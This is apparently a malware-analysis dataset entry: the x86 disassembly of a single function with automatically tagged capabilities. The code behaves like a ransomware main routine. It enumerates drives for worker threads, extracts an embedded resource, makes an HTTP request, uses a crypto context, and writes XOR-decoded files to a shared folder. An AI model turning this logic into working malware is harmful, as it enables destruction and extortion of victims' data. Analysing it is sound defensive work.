Function at 0x404b40
Capabilities:
Create directory
Create http request
Create thread
Extract resource via kernel32 functions
Get common file path
Get file size
Get system information on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x914
push ebx
push esi
push edi
lea eax, [ebp - 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0xd0]
xor ebx, ebx
mov dword [ebp - 0x14], eax
cmp eax, ebx
jne 0x404b6f
mov dword [ebp - 0x14], 1
push 0x4c
lea ecx, [ebp - 0xbc]
push ebx
push ecx
mov dword [ebp - 0xc0], ebx
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 0xc
push 0x14
push 8
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], 0xa
mov byte [ebp - 0x84], 1
call esi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
push 0x14
push 8
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], 0xa
mov byte [ebp - 0x74], 1
call esi
push eax
call edi
push 0x2c
lea edx, [ebp - 0x70]
push ebx
push edx
mov dword [ebp - 0x80], eax
call sub.ntdll.dll_memset
add esp, 0xc
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [ebp - 0xc0], eax
lea eax, [ebp - 0xbc]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
mov dword [ebp - 0xa0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0xa
mov esi, eax
push 0x69
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
cmp edi, ebx
je 0x404c76
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x404c76
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x404c6c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], eax
push ecx
lea eax, [ebp - 0x90]
mov dword [ebp - 0x4c], ecx
call fcn.00403780
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 4]
push edx
mov dword [ebp - 0x50], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
call fcn.00403fc0
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 4]
push eax
push edi
lea ebx, [ebp - 0x98]
lea esi, [ebp - 0x9c]
call fcn.00403f00
add esp, 0x10
call fcn.004063d0
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x14
push 8
mov dword [ebp - 4], eax
mov dword [ebp - 0x94], eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
push 0x14
push 8
mov dword [ebp - 0xe0], eax
call ebx
push eax
call esi
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 4]
push edx
mov dword [ebp - 0xd0], eax
call fcn.00403870
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 0x70]
mov dword [ebp - 0x6c], eax
push edx
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x70], edi
call fcn.00403da0
add esp, 0x14
push edi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [ebp - 0xc0]
push ecx
call fcn.004044c0
add esp, 4
lea ebx, [ebp - 0xc0]
call fcn.00404870
test eax, eax
jne 0x404d50
mov edx, ebx
push edx
call fcn.00404710
add esp, 4
lea eax, [ebp - 0xc0]
push eax
call fcn.004043d0
mov ebx, dword [ebp - 0x14]
add esp, 4
test ebx, ebx
je 0x404d99
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea esp, [esp]
lea ecx, [ebp - 4]
push ecx
push 0
lea edx, [ebp - 0xc0]
push edx
push 0x405490
push 0
push 0
mov dword [ebp - 4], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
dec ebx
jne 0x404d70
call dword [0x40809c]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov dword [ebp - 4], eax
xor ebx, ebx
mov eax, dword [ebp - 4]
mov ecx, ebx
shr eax, cl
test al, 1
je 0x404e2c
mov dx, word [0x4073c8]
mov ecx, dword [0x4073c4]
mov dword [ebp - 0x10], ecx
mov word [ebp - 0xc], dx
lea edx, [ebp - 0x10]
xor eax, eax
lea ecx, [ebx + 0x41]
push edx
mov word [ebp - 0xa], ax
mov byte [ebp - 0x10], cl
call dword [0x408098]
cmp eax, 5
je 0x404e2c
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 2]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
lea edx, [ebp - 0x10]
mov esi, eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0xa4]
push eax
call edi
mov ecx, dword [ebp - 0xc0]
push esi
push 0
push 4
push ecx
call dword [0x408084]
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
inc ebx
cmp ebx, 0x1a
jl 0x404daa
push 0
lea edx, [ebp - 0xc0]
push edx
call fcn.004042b0
cmp dword [ebp - 0x54], 0
push 0xffffffffffffffff
je 0x404eeb
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0xa0]
push 0
lea edx, [ebp - 8]
push edx
push 2
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
jne 0x404ef8
mov edi, dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], 5
mov esi, dword [ebp - 0x54]
push 0
push 0
push 0
push 0
push 0x4073c0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x404eb8
push 0
push 0
call edi
push 1
push 0
push 0
push 0
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
test eax, eax
jne 0x404ed9
cmp dword [ebp - 0xc], 0
je 0x404ee0
mov eax, dword [ebp - 0xa0]
push 0x493e0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x404ee0
dec dword [ebp - 0xc]
jmp 0x404e82
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xa0]
push 0xffffffffffffffff
push ecx
jmp 0x404ef2
mov edx, dword [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0xbc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp - 0x98]
test eax, eax
je 0x404f1c
push eax
call dword [0x4080ac]
mov eax, dword [ebp - 0x9c]
test eax, eax
je 0x404f2f
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x404f4c
mov ecx, dword [ebp - 0xc0]
push 0
push 0
push 4
push ecx
call dword [0x408084]
dec esi
jne 0x404f36
cmp dword [ebp - 0x5c], 0
je 0x4051ba
push 0
lea edx, [ebp - 0x910]
push edx
push 0x104
push 0x73
call dword [0x408088]
lea eax, [ebp - 0x2f8]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, dword [0x408020]
mov eax, esi
xor ebx, ebx
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404f90
sub eax, edx
sar eax, 1
mov edx, ebx
je 0x404fdd
mov edi, esi
lea ecx, [ebp - 0x3c]
sub edi, ecx
lea ebx, [ebx]
mov cl, byte [ebx + 0x408004]
lea esi, [edi + edx*2]
xor cl, byte [ebp + esi - 0x3c]
lea esi, [ebp + esi - 0x3c]
je 0x404fc8
movzx ecx, cl
jmp 0x404fcb
mov cx, word [esi]
inc ebx
mov word [ebp + edx*2 - 0x3c], cx
cmp ebx, 8
jne 0x404fd8
xor ebx, ebx
inc edx
cmp edx, eax
jb 0x404fb0
xor edx, edx
mov word [ebp + eax*2 - 0x3c], dx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x2f8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
lea edx, [ebp - 0x2f8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x2f8]
push eax
lea ecx, [ebp - 0x500]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [0x40801c]
mov eax, esi
xor ebx, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405025
sub eax, edx
sar eax, 1
mov edx, ebx
je 0x40506d
mov edi, esi
lea ecx, [ebp - 0x3c]
sub edi, ecx
nop
mov cl, byte [ebx + 0x408004]
lea esi, [edi + edx*2]
xor cl, byte [ebp + esi - 0x3c]
lea esi, [ebp + esi - 0x3c]
je 0x405058
movzx ecx, cl
jmp 0x40505b
mov cx, word [esi]
inc ebx
mov word [ebp + edx*2 - 0x3c], cx
cmp ebx, 8
jne 0x405068
xor ebx, ebx
inc edx
cmp edx, eax
jb 0x405040
xor edx, edx
mov word [ebp + eax*2 - 0x3c], dx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x500]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x500]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4050e3
push 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x910]
push ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x910]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
jmp 0x4050e9
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [0x408018]
mov eax, esi
xor ebx, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4050f6
sub eax, edx
sar eax, 1
mov edx, ebx
je 0x405143
mov edi, esi
lea ecx, [ebp - 0x3c]
sub edi, ecx
mov cl, byte [ebx + 0x408004]
lea esi, [edi + edx*2]
xor cl, byte [ebp + esi - 0x3c]
lea esi, [ebp + esi - 0x3c]
je 0x405128
movzx ecx, cl
jmp 0x40512b
mov cx, word [esi]
inc ebx
mov word [ebp + edx*2 - 0x3c], cx
cmp ebx, 8
jne 0x405138
xor ebx, ebx
inc edx
cmp edx, eax
jb 0x405110
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov word [ebp + eax*2 - 0x3c], dx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x2f8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x2f8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4051a5
mov eax, dword [ebp - 0x58]
mov dword [ebp - 4], 0
mov eax, dword [eax]
mov edx, dword [eax + 4]
mov eax, dword [eax + 8]
push 0
lea ecx, [ebp - 4]
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call edi
push 1
lea ecx, [ebp - 0x2f8]
push ecx
push 0
push 0x14
call dword [0x408088]
jmp 0x4051c0
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x50]
push edx
call edi
mov eax, dword [ebp - 0xa0]
push eax
call edi
mov ecx, dword [ebp - 0xc0]
push ecx
call edi
mov edx, dword [ebp - 0xd0]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edx
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call ebx
mov eax, dword [ebp - 0xe0]
push eax
push 0
call esi
push eax
call ebx
mov ecx, dword [ebp - 0x80]
push ecx
push 0
call esi
push eax
call ebx
mov edx, dword [ebp - 0x90]
push edx
push 0
call esi
push eax
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret